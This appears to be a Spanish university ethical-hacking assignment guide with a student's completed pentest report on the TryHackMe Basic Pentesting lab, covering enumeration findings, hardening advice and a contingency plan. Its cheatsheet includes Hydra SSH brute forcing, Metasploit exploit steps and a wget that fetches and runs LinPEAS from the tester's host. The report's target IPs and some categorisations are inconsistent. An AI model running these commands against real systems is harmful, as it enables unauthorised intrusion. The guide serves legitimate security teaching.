
Guía Práctica + Plantilla de Informe

Actividad A08 — Hacking Ético

Cliente: INSECUR S.A. — Laboratorio: TryHackMe

Seguridad Aplicada a Sistemas de Información
 Licenciatura en Sistemas de Información — Facultad de Informática y Diseño
 Docente: Ing.
 Rodrigo Atilio Elgueta
 Ciclo Académico Vigente

Índice

1. Contexto de la Contratación	3
2. Modelo de Trabajo: Núcleo + Sala de Elección	3
2.1. Nivel 1 — Núcleo obligatorio (todos los estudiantes)	3
2.2. Nivel 2 — Sala de elección (una por estudiante)	3
3. Configuración del Entorno	4
3.1. Requisitos previos	4
3.2. Conexión a la VPN de TryHackMe	4
3.3. Organización del trabajo en GitHub	4
4. Mecanismos de Control de Autenticidad	5
5. PARTE I: GUÍA DE TRABAJO EN TRYHACKME	6
5.1. Flujo profesional del pentesting	6
5.2. Comandos base por fase (cheatsheet)	6
5.3. Checklist de resolución	7
6. PARTE II: PLANTILLA DE INFORME (rellenable)	7
6.1. Datos generales	7
6.2. Pre-pentesting	8
6.3. Durante: Hallazgos por fase	8
6.4. Resumen ejecutivo de hallazgos	11
6.5. Post-pentesting: Recomendaciones	11
7. PARTE III: PROTOCOLO DE CONTINGENCIA	12
8. Anexos	13

9. Rúbrica de Evaluación (A08)	14
10.Fuentes y bibliografía	14

1. Contexto de la Contratación

Carta de Autorización — INSECUR S.A.

Cliente: INSECUR S.A.

Contratista: Estudiante de Seguridad Aplicada a Sistemas de Información (FID-UCH).

Objeto del contrato: La compañía INSECUR S.A., preocupada por los niveles de seguridad de sus sistemas, contrata sus servicios profesionales de **Hacking Ético** para elaborar un plan de seguridad y contingencia.

Alcance autorizado: Únicamente los entornos de laboratorio de la plataforma **TryHackMe** asignados en esta guía. Cualquier acción fuera de este alcance queda estrictamente prohibida y constituye un delito conforme la legislación vigente.

Entregable: Informe profesional de pentesting, incluyendo documentación previa, durante y posterior a la intervención, más un protocolo de contingencia para garantizar la continuidad de negocio.

Modalidad: Individual.

Modalidad: Individual.

Repositorio de entrega: https://github.com/UCHSeguridad2026/TP_THM.git (crear un branch propio con el apellido-nombre).

Ética y Legalidad

Esta actividad se desarrolla en **entornos controlados (sandbox)**. Queda absolutamente prohibido aplicar las técnicas aprendidas contra sistemas reales sin autorización escrita. El incumplimiento será considerado falta ética grave y podrá derivar en sanciones académicas y legales.

2. Modelo de Trabajo: Núcleo + Sala de Elección

La actividad se estructura en dos niveles que garantizan una base común y, al mismo tiempo, diversidad en los casos trabajados.

2.1. Nivel 1 — Núcleo obligatorio (todos los estudiantes)

Núcleo Obligatorio

1. Pentesting Fundamentals

<https://tryhackme.com/room/pentestingfundamentals>

Metodología y fases del pentesting profesional.

2. Basic Pentesting

<https://tryhackme.com/room/basicpentestingjt>

Aplicación práctica completa: enumeración, explotación y escalada de privilegios.

2.2. Nivel 2 — Sala de elección (una por estudiante)

Cada estudiante elige **UNA** sala adicional de la siguiente lista curada de salas **gratuitas**. La elección debe quedar registrada en el informe (Sección 6.2).

Sala	Dificultad	Enfoque	Qué aporta
Vulniversity	Inicial	Web + explotación	Ideal como primera máquina
Kenobi	Inicial-Media	Samba + Linux PE	Enumeración y escalada
RootMe	Media	Web + PE	Multi-vulnerabilidad
OWASP Top 10	Media	Vulnerabilidades web	Complementa Juice Shop
Blue	Media	Windows PE (EternalBlue)	Entorno Windows
Overpass	Media	Web + Linux PE	Lógica de negocio
Nmap	Herramienta	Escaneo	Dominio de Nmap

¿Cómo elegir?

- Si es tu primera vez con TryHackMe: **Vulniversity**.
- Si querés enfocarte en Windows: **Blue**.
- Si te interesa el hacking web: **OWASP Top 10**.
- Si querés desafío Linux completo: **Kenobi** o **RootMe**.

3. Configuración del Entorno

3.1. Requisitos previos

1. Cuenta gratuita en <https://tryhackme.com> (username único del estudiante).
2. Kali Linux (VM, Live USB o WSL2) con las herramientas básicas: **nmap**, **gobuster**, **hydra**, **burpsuite**, **metasploit**, **wireshark**, **netcat**.
3. Cliente OpenVPN instalado (para la VPN de THM).
4. Cuenta de GitHub con acceso al repositorio de la cátedra.

3.2. Conexión a la VPN de TryHackMe

```

1 # 1. Descargar el archivo de configuracion desde THM (Account > Access)
2 # 2. Conectarse a la VPN
3 sudo openvpn --config ~/Downloads/<tu-usuario>.ovpn

```

Verificación de conectividad

Una vez conectado, probá con **ping** a la IP de la máquina objetivo que te asigna THM. Si no responde, revisá el estado de la VPN y la red de la facultad (algunas instituciones bloquean el puerto 1194/UDP).

3.3. Organización del trabajo en GitHub

```
1 # Clonar el repositorio de la catedra
2 git clone https://github.com/UCHSeguridad2026/TP_THM.git
3 cd TP_THM
4
5 # Crear tu branch personal (usar tu ApellidoNombre)
6 git checkout -b apellido-nombre
7
8 # Crear la estructura de carpetas
9 mkdir -p evidencias/{reconocimiento,escaneo,explotacion,post}
10 mkdir -p bitacora
11 mkdir -p reportes
```

4. Mecanismos de Control de Autenticidad

Para garantizar la autoría del trabajo, debés cumplir con los siguientes mecanismos:

Username único de TryHackMe

En la portada del informe debe figurar tu **username público de THM**. Este username es único y se ve en todas las capturas de la plataforma, por lo que vincula inequívocamente las evidencias con vos.

Bitácora de comandos

Exportá únicamente los comandos relevantes de tu sesión de Kali al finalizar cada clase. Revisá el archivo y eliminá contraseñas, tokens, claves privadas y cualquier dato personal antes de subirlo:

```
1 history | sed -E 's/(password|passwd|token|secret|api[_-]?key)[^
  ]*/\1=[REDACTED]/Ig' > bitacora/clase_09_$(date +%Y%m%d).txt
```

Este archivo forma parte de los anexos del informe y demuestra el proceso real. La bitácora no reemplaza la revisión manual de secretos.

Evidencias con marca de identidad

Cada captura de pantalla crítica debe incluir visible:

- El username de THM en la interfaz de la plataforma.
- La fecha y hora del sistema (visible en la barra de Kali).
- La IP de la máquina objetivo.

Hash de las flags

En lugar de publicar las flags completas (que circulan en writeups), incluí en el informe el **hash SHA-256** de cada flag obtenida. Así el docente puede verificar que la tenés sin que quede expuesta.

```
1 echo -n "thm{flag_obtenida}" | sha256sum
```

Commits firmados

Usá commits con tu identidad institucional, configurada solo en este repositorio:

```
1 git config user.name "Tu Nombre Completo"
2 git config user.email "tu.email@institucion.edu"
```

5. PARTE I: GUÍA DE TRABAJO EN TRYHACKME

5.1. Flujo profesional del pentesting

Todo pentesting sigue las fases del marco metodológico. Cada fase tiene herramientas típicas y entregables:

Fase	Acciones típicas	Herramientas
Pre-engagement	Definir alcance, reglas de enfrentamiento, autorización	Plantilla, firma de ROE
Reconocimiento	OSINT, enumeración pasiva, descubrimiento de activos	theHarvester, whois, DNSdumpster
Escaneo	Descubrimiento de puertos, servicios y versiones	Nmap, Nikto, Gobuster
Enumeración	Análisis detallado de cada servicio encontrado	Netcat, enum4linux, SNMPwalk
Explotación	Aprovechar vulnerabilidades para obtener acceso	Metasploit, Searchsploit, Burp Suite
Post-explotación	Escalada de privilegios, movimiento lateral, persistencia	LinPEAS, WinPEAS, mimikatz
Reporte	Documentación, remediación, protocolo de contingencia	Plantilla de informe

5.2. Comandos base por fase (cheatsheet)

```
1 # RECONOCIMIENTO Y ESCANEO
2 nmap -sC -sV -oN bitacora/nmap_inicial.txt <IP_OBJETIVO>
3 nmap -p- --min-rate 5000 -oN bitacora/nmap_puertos.txt <IP_OBJETIVO>
4
5 # ENUMERACION WEB
6 gobuster dir -u http://<IP_OBJETIVO> -w /usr/share/wordlists/dirb/common.txt \
7   -o bitacora/gobuster.txt
8 nikto -h http://<IP_OBJETIVO> -o bitacora/nikto.txt
9
10 # ANALISIS DE TRAFICO
11 wireshark # GUI
12 tcpdump -i tun0 -w bitacora/captura_$(date +%H%M).pcap
13
14 # AUTENTICACION (solo si la sala lo autoriza y con limites)
```

```

15 # Preferi validar primero usuarios y politicas; documenta el alcance.
16 hydra -l usuario -P /usr/share/wordlists/rockyou.txt <IP> ssh -t 4 -f
17
18 # EXPLOTACION CON METASPLOIT (solo contra la IP asignada por THM)
19 msfconsole
20 search <servicio>
21 use <exploit>
22 set RHOSTS <IP>
23 set LHOST tun0
24 exploit
25
26 # POST-EXPLOTACION LINUX (solo si la sala lo requiere)
27 wget http://<tu-IP>:8000/linpeas.sh
28 chmod +x linpeas.sh && ./linpeas.sh > bitacora/linpeas.txt

```

5.3. Checklist de resolución

Para cada máquina, recorrela en este orden:

1. **Ping** a la IP objetivo (confirmar que está viva).
2. **Nmap** completo (todos los puertos + detección de servicios y versiones).
3. **Nikto** + **Gobuster** si hay web.
4. Anotar en la bitácora cada puerto, servicio y versión.
5. Buscar vulnerabilidades públicas para cada versión detectada (**searchsploit**, Google, CVE Details).
6. Probar exploits en orden de criticidad.
7. Al obtener shell, ejecutar **whoami**, **uname -a**, **sudo -l**.
8. Escalar privilegios (LinPEAS / WinPEAS).
9. Documentar cada hallazgo con captura + comando + evidencia.

6. PARTE II: PLANTILLA DE INFORME (rellenable)

6.1. Datos generales

Campo	Valor
Cliente	INSECUR S.A.
Contratista (alumno/a)	Tomás Serrani
Username TryHackMe	TomasSerrani
Email institucional	tomasserrani7@gmail.com
Sala de elección (Nivel 2)	Basic Pentesting
Branch en GitHub	serrani-tomas
Fecha de inicio	29/09/2026
Fecha de cierre	2/10/2026

6.2. Pre-pentesting

Alcance del trabajo

El alcance de la auditoría técnica está estrictamente limitado al entorno de laboratorio controlado asignado por TryHackMe para la sala **Basic Pentesting** (IP objetivo: 10.66.136.63). Cualquier otro sistema, red institucional o servidor externo queda explícitamente excluido del alcance.

Reglas de Enfrentamiento (ROE)

Se autoriza la ejecución de técnicas de escaneo activo, enumeración de servicios web y prueba de conceptos sobre el objetivo asignado. Queda estrictamente prohibida la ejecución de ataques de denegación de servicio (DoS), ataques destructivos de fuerza bruta masiva o cualquier acción que afecte la disponibilidad de infraestructura fuera del contenedor de prueba.

Autorización

Se declara contar con la autorización explícita de la cátedra para llevar a cabo la evaluación de seguridad en la plataforma TryHackMe en el marco de la materia Seguridad Aplicada a Sistemas de Información.

Metodología utilizada

Se adopta el marco metodológico **PTES (Penetration Testing Execution Standard)**, estructurado en las fases de Reconocimiento, Escaneo, Enumeración, Explotación, Post-explotación y Reporte.

6.3. Durante: Hallazgos por fase

Campo	Valor
ID del hallazgo	H-01
Fase	☐ Reconocimiento ☒ Escaneo ☐ Explotación ☐ Post-explotación
Descripción	Mediante un escaneo de puertos y detección de versiones con Nmap, se identificaron múltiples servicios expuestos en la máquina objetivo (BASIC2): ■ 22/tcp (SSH): OpenSSH 8.2p1 Ubuntu. ■ 80/tcp (HTTP): Apache httpd 2.4.41 (Ubuntu). ■ 139/tcp y 445/tcp (SMB): Samba smbd 4 (firma de mensajes habilitada pero no requerida). ■ 8009/tcp (AJP): Apache Jserv Protocol v1.3. ■ 8080/tcp (HTTP): Apache Tomcat 9.0.7.

Componente afectado	Servidor de archivos Samba, Servidor Web Apache HTTPd, Servidor de aplicaciones Apache Tomcat y SSH.
Categoría (OWASP / CWE)	OWASP A05:2021 – Security Misconfiguration / CWE-1004: Sensitive Cookie Without 'HttpOnly' Flag
CVE (si aplica)	N/A (Fase de enumeración de servicios)
CVSS estimado	☐ Bajo ☒ Medio ☐ Alto ☐ Crítico
Evidencia (captura / comando)	Comando: <code>nmap -sC -sV -p 22,80,139,445,8009,8080 -oN bitacora/nmap_inicial.txt 10.67.138.65</code> Captura: evidencias/escaneo/escaneo_H01.png
Herramienta utilizada	Nmap v7.99
Impacto en la Tríada CIA	☒ Confidencialidad ☐ Integridad ☐ Disponibilidad
Salvaguarda propuesta	1. Restringir el acceso a puertos administrativos (8009 y 8080) mediante reglas de firewall o segmentación de red. 2. Configurar la firma obligatoria de mensajes en SMB (<i>SMB Signing</i>) para prevenir ataques de intermediario (MitM). 3. Mantener actualizados los componentes de software a sus últimas versiones estables.
Riesgo residual tras aplicar	☒ Bajo ☐ Medio ☐ Alto
Campo	Valor
ID del hallazgo	H-02
Fase	☐ Reconocimiento ☒ Escaneo/Enumeración ☐ Explotación ☐ Post-explotación
Descripción	Mediante enumeración web se accedió al directorio <code>/development/</code> , encontrando dos archivos de texto expuestos (<code>dev.txt</code> y <code>j.txt</code>). Su análisis reveló: ■ Nombres de usuarios del sistema (<i>J</i> y <i>K</i>). ■ Menció de uso de Apache Struts v2.5.12 (REST plugin). ■ Confirmación de que el usuario <i>J</i> posee una contraseña débil vulnerable a ataques de diccionario o fuerza bruta.
Componente afectado	Servidor Web Apache HTTPd (Puerto 80/tcp)

Categoría (OWASP / CWE)	OWASP A01:2021 – Broken Access Control / CWE-200: Exposure of Sensitive Information
CVSS estimado	☐ Bajo ☒ Medio ☐ Alto ☐ Crítico
Evidencia (captura / comando)	Comandos: <code>curl http://10.65.182.64/development/dev.txt</code> y <code>j.txt</code> Captura: <code>evidencias/escaneo/escaneo_H02.png</code>
Herramienta utilizada	cURL / Navegador Web
Impacto en la Tríada CIA	☒ Confidencialidad ☐ Integridad ☐ Disponibilidad
Salvaguarda propuesta	Restringir el acceso a directorios de desarrollo, eliminar archivos temporales o de notas en entornos de producción e implementar políticas estrictas de complejidad de contraseñas.
Riesgo residual tras aplicar	☒ Bajo ☐ Medio ☐ Alto
Campo	Valor
ID del hallazgo	H-03
Fase	☐ Reconocimiento ☒ Escaneo/Enumeración ☐ Explotación ☐ Post-explotación
Descripción	La enumeración del servicio SMB/Samba mediante <code>enum4linux</code> y <code>smbclient</code> permitió identificar acceso anónimo no autenticado al recurso compartido <code>//10.65.146.167/Anonymous</code> , recuperando el archivo <code>staff.txt</code> que confirmó los usuarios reales del sistema (<i>jan</i> y <i>kay</i>). Adicionalmente, se constató la ausencia de umbral de bloqueo de cuenta (<i>Account Lockout Threshold: None</i>) y de requisitos de complejidad de contraseña (<i>Password Complexity: Disabled</i>), favoreciendo ataques de fuerza bruta y diccionario.
Componente afectado	Servidor de archivos Samba (Puertos 139/tcp y 445/tcp)
Categoría (OWASP / CWE)	OWASP A07:2021 – Identification and Authentication Failures / CWE-521: Weak Password Requirements
CVE (si aplica)	N/A

CVSS estimado	☐ Bajo ☐ Medio ☒ Alto ☐ Crítico	
Evidencia (captura / comando)	Comandos: <code>enum4linux -a 10.65.182.64</code> y <code>smbclient //10.65.182.64/Anonymous -N</code> Captura: <code>evidencias/escaneo/escaneo_H03.png</code>	
Herramienta utilizada	enum4linux v0.9.1 / smbclient	
Impacto en la Tríada CIA	☒ Confidencialidad ☒ Integridad ☐ Disponibilidad	
Salvaguarda propuesta	pro-	Desactivar el acceso anónimo (<i>Guest Access</i>) en los recursos compartidos de Samba, establecer un umbral de bloqueo de cuentas tras 3 a 5 intentos fallidos y requerir contraseñas de al menos 12 caracteres con complejidad habilitada.
Riesgo residual tras aplicar	☒ Bajo ☐ Medio ☐ Alto	

6.4. Resumen ejecutivo de hallazgos

Severidad	Cantidad	ID de hallazgos
Crítico	0	-
Alto	1	H-03
Medio	2	H-01, H-02
Bajo	0	-
Total	3	

6.5. Post-pentesting: Recomendaciones

Recomendaciones técnicas (parches y configuraciones)

- Seguridad y Control de Acceso en SMB/Samba:** Desactivar el acceso anónimo (*Guest Access*) en todos los recursos compartidos editando la configuración de `smb.conf`. Configurar la firma obligatoria de paquetes SMB (*SMB Signing*) para prevenir ataques de intermediario (MitM).
- Endurecimiento del Servicio SSH:** Deshabilitar la autenticación mediante contraseña en `/etc/ssh/sshd_config` (`PasswordAuthentication no`) y forzar el uso exclusivo de pares de claves SSH (RSA o ED25519). Implementar herramientas como `fail2ban` para monitorear intentos de autenticación fallidos y aplicar reglas temporales de bloqueo por IP.
- Ocultamiento de Directorios y Archivos Sensibles en Web:** Configurar el servidor Apache para deshabilitar el listado de directorios (`Options -Indexes`) y restringir el acceso a entornos o archivos de desarrollo (`/development/`).

4. **Segmentación y Firewall:** Aplicar reglas de filtrado de tráfico en firewall para restringir el acceso a puertos administrativos internos (8009 AJP y 8080 Tomcat) desde redes no autorizadas.

Recomendaciones administrativas (políticas y procesos)

1. **Política de Complejidad de Contraseñas:** Definir y hacer cumplir mediante módulos PAM en el sistema operativo una política de contraseñas con un mínimo de 12 caracteres, requiriendo mayúsculas, minúsculas, números y caracteres especiales, acompañada de un límite explícito de intentos fallidos antes del bloqueo temporal de la cuenta.
2. **Auditoría y Gestión de Cuentas:** Realizar revisiones periódicas de usuarios locales e inactivas en el archivo `/etc/shadow` y sanitizar directorios públicos de red para evitar la inclusión de archivos no laborales o informativos.
3. **Concientización al Personal de Desarrollo:** Capacitar al equipo en prácticas de desarrollo seguro y en los riesgos asociados al almacenamiento de notas, credenciales o información técnica interna en servidores expuestos.

7. PARTE III: PROTOCOLO DE CONTINGENCIA

Escenario de falla

Durante las pruebas de escaneo intensivo con Nmap y las pruebas de fuerza bruta sobre el servicio OpenSSH (puerto 22/tcp) con Hydra, existe el riesgo de saturar la pila de conexiones del demonio SSH o activar reglas de bloqueo de IP por parte del firewall local/Fail2Ban. Esto podría provocar la inestabilidad del servicio de gestión remota o la caída temporal del servidor web Apache y Tomcat debido a saturación de sockets TCP.

Impacto sobre la continuidad del negocio

Procesos afectados:

- Imposibilidad de administración remota de servidores por parte del personal de TI mediante SSH.
- Interrupción temporal en la disponibilidad de los servicios web internos (puertos 80 y 8080) expuestos a usuarios autorizados.

Tiempo de afectación estimado: Entre 15 y 30 minutos (duración por defecto de los bloqueos temporales por reglas de Fail2Ban o reseteo de tablas de estado del servicio).

Plan de respuesta

1. **Activación:** La falla es detectada por el equipo auditor o los administradores de sistemas mediante la pérdida de respuesta a paquetes ICMP (ping) o el descarte de conexiones TCP (*Connection refused / timed out*).
2. **Contención:** Detener de inmediato la ejecución de herramientas automatizadas de fuerza bruta (Hydra) o escaneo masivo (Nmap/Gobuster). Verificar si la dirección IP de la consola de auditoría fue aislada por una regla del firewall.
3. **Recuperación:** Acceder mediante consola física o fuera de banda (KVM/Out-of-band ma-

nagement) para reiniciar el servicio SSH (`systemctl restart ssh`) y purgar las reglas de iptables/fail2ban (`fail2ban-client unban <IP_Auditor>`). En caso de falla crítica, aplicar rollback a la última instantánea (*snapshot*) del servidor.

4. **Comunicación:** Notificar inmediatamente al Responsable de Seguridad de la Información (CISO) y al Gerente de TI de INSECUR S.A. indicando la naturaleza de la prueba ejecutada y el estado de contención.
5. **Post-mortem:** Documentar la causa raíz de la falla en el informe final, ajustar las frecuencias de escaneo en las Reglas de Enfrentamiento (ROE) e implementar monitoreo preventivo de recursos.

RTO y RPO estimados

RTO (Recovery Time Objective): **30 minutos** (Tiempo máximo tolerado para restaurar el acceso SSH y los servicios web)

RPO (Recovery Point Objective): **0 horas** (Las pruebas de auditoría no modifican bases de datos ni archivos críticos de producción)

8. Anexos

Anexo A — Bitácora de comandos

Adjuntos los archivos de registro en la carpeta `bitacora/` dentro del repositorio Git (`nmap_inicial.txt`, `gobuster_80.txt`, `hydra_ssh.txt`, etc.).

Anexo B — Capturas de pantalla

Estructura organizada en la carpeta `evidencias/` clasificada por fases:

- `evidencias/reconocimiento/reconocimiento_ping.png`
- `evidencias/escaneo/escaneo_H01.png`, `escaneo_H02.png`, `escaneo_H03.png`
- `evidencias/explotacion/explotacion_H04.png`
- `evidencias/post/post_hardening_check.png`

Anexo C — Hashes de las flags y bitácoras obtenidas

```

1 # Formato: sha256_hash  archivo
2 7da050d98c1742409c88cb96bad7260c2e29ffa28bf6e9b84af1f22b4a6401b4
   bitacora/gobuster_80.txt
3 1476cfbb5da052f6d45ed6c8b0b88424e548e1ae0ca0497a73de9862ee9b465c
   bitacora/hydra_ssh.txt
4 4c504938699c0eb7953e567951e977d836f91a7d4042833e726f8a81e123b447
   bitacora/nmap_inicial.txt
5 948fc8f7b7268fdb7968498d4ec2b7f57267b3296c4bf44754d06fa20c2a010e
   bitacora/nmap_puertos.txt
6 edf4fbd47b714f8ee9bc67aba35f222084679d2bc5295929e22181e4f7a27642
   bitacora/staff.txt

```

Anexo D — Declaración ética firmada

Declaro que todas las actividades se realizaron dentro del alcance autorizado, en entornos controlados y con fines exclusivamente académicos.

Tomás Serrani

2 de octubre de 2026

Firma del estudiante

Fecha

9. Rúbrica de Evaluación (A08)

Criterio	Peso	Descripción
A. Recopilación de información	10 %	Uso de fuentes confiables y citadas correctamente.
B. Elaboración de documentos	25 %	Cumplimiento del formato de esta plantilla.
C. Elaboración de presentaciones	10 %	Argumentación sólida del caso y sus soluciones.
D. Integración de soluciones	25 %	Parches y medidas integradas sobresalientemente.
E. Selección de herramientas	20 %	Herramientas adecuadas y justificadas.
F. Consciencia de buenas prácticas	10 %	Evidencia permanente de buenas prácticas y ética.

Checklist final antes del push

- ☐ Informe en `reportes/informe_pentesting.pdf`.
- ☐ Evidencias en `evidencias/` (por fase).
- ☐ Bitácoras en `bitacora/`.
- ☐ Branch nombrado `apellido-nombre`.
- ☐ Commits con tu identidad real.
- ☐ Pull Request hacia `main` del repo de la cátedra.

10. Fuentes y bibliografía

- TryHackMe. *Pentesting Fundamentals*: [sala oficial](#)
- TryHackMe. *Basic Pentesting*: [sala oficial](#)
- OWASP Foundation. *Web Security Testing Guide (WSTG)*: [sitio oficial](#)
- NIST (2008). *Technical Guide to Information Security Testing and Assessment (SP 800-115)*.
- Chicano Tejada, E. (2023). *Auditoría de seguridad informática. IFCT0109* (2.^a ed.). IC Editorial — eLibro.
- Evans, L. (2019). *Ethical Hacking: The Ultimate Guide to Using Penetration Testing...*. Amazon Digital Services LLC — KDP.

- White, A. & Clark, B. (2017). *BTfM: Blue Team Field Manual*. CreateSpace Independent Publishing Platform.